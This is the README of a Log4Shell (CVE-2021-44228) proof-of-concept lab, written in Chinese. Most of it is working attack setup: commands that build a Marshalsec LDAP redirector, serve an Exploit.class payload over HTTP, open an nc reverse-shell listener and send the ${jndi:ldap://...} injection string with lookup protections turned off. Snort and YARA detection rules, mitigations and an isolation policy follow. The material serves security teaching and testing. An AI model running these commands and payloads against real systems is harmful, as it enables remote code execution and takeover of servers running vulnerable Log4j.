Log4Shell-PoC

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝

                         ██████╗  ██████╗  ██████╗
                         ██╔══██╗██╔═══██╗██╔════╝
                         ██████╔╝██║   ██║██║     
                         ██╔═══╝ ██║   ██║██║     
                         ██║     ╚██████╔╝╚██████╔╝
                         ╚═╝      ╚═════╝  ╚═════╝ 

         ⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
          [ PROOF OF CONCEPT & JNDI EXPLOITATION ]

Log4Shell PoC 是一个高保真漏洞利用环境，专为复现 CVE-2021-44228 漏洞而设计。 它提供了一个容器化沙箱，用于演示通过 Log4j 2 库实现的 JNDI 注入、LDAP/RMI 引用重定向以及远程代码执行（RCE）。

⚠️ 免责声明

仅限教育和授权安全测试之用。

未经双方事先同意，使用本概念验证来攻击目标属于非法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。作者不承担任何责任，也不对因使用本程序而导致的任何数据丢失、系统损坏、法律后果或滥用负责。使用本软件即表示您同意在您所在司法管辖区的法律边界内进行操作。

第 2 部分：项目能力与结构

🚀 PoC 功能

• JNDI 注入： 存在漏洞的 Log4j 2.14.1 入口点。
• LDAP 引用服务器： 通过 Marshalsec 实现恶意 LDAP 重定向。
• 远程类加载： 通过 HTTP 投递编译后的 Java 字节码。
• 多阶段载荷： Java 原生反向 Shell 执行。
• 规避测试： TrustURLCodebase 与 FormatMsgNoLookups 绕过。

🛠 PoC 结构

🛰 恶意基础设施（攻击者）

攻击者端由三个不同的信道组成，以协助完成 PoC。

• LDAP 重定向器（端口 1389）： 基于 Marshalsec 构建，将受害者的 JNDI 请求引导至托管的漏洞利用载荷。
• HTTP 载荷服务器（端口 8888）： 托管 Exploit.class 字节码，供受害者下载并执行。
• NC 监听器（端口 9001）： 反向 Shell 的最终回调目的地。

💻 存在漏洞的实例（受害者）

一个运行存在漏洞的 Log4j 实现的 Docker 化 OpenJDK 8 环境。

• Log4j v2.14.1： 被攻击的目标库版本。
• VulnerableLog.java： 一个简单的 Java 应用程序，在未进行净化处理的情况下记录用户提供的输入。

第 3 部分：设置与执行说明

⚙️ 设置与执行

1. 攻击者设置（Arch Linux）

标签页 1：LDAP 引用服务器

docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"

标签页 2：HTTP 载荷投递

# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888

标签页 3：Netcat 监听器

nc -lvnp 9001

2. 受害者执行

标签页 4：启动存在漏洞的容器

docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh

在容器内部：触发 PoC

java -Dlog4j2.formatMsgNoLookups=false \
     -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
     -cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
     VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'

第 4 部分：检测与缓解

🔍 检测与防御监控

1. 网络检测（Snort/Suricata）

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)

2. 基于日志的检测（YARA）

rule Log4Shell_PoC_JNDI {
    meta:
        description = "Detects JNDI lookup strings in logs used in PoC"
        author = "Apex Pro Framework"
    strings:
        $jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
        $obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
    condition:
        any of them
}

🛡 事件响应（IR）矩阵

🔒 缓解与加固

1. 更新： 将 Log4j 升级到 2.17.1 或更高版本。
2. JVM 参数： 设置 -Dlog4j2.formatMsgNoLookups=true 以禁用查找功能。
3. 删除类文件： 手动从 log4j-core JAR 包中删除 JndiLookup.class。

🔒 交战规则

1. 隔离： 将目标 IP 硬编码到内部 Docker 桥接网络（172.17.0.0/16）。
2. 网络： 确保仅使用仅主机/内部 VM 网络。
3. C2 安全： 请勿将 Python 或 LDAP 服务器暴露到公共互联网。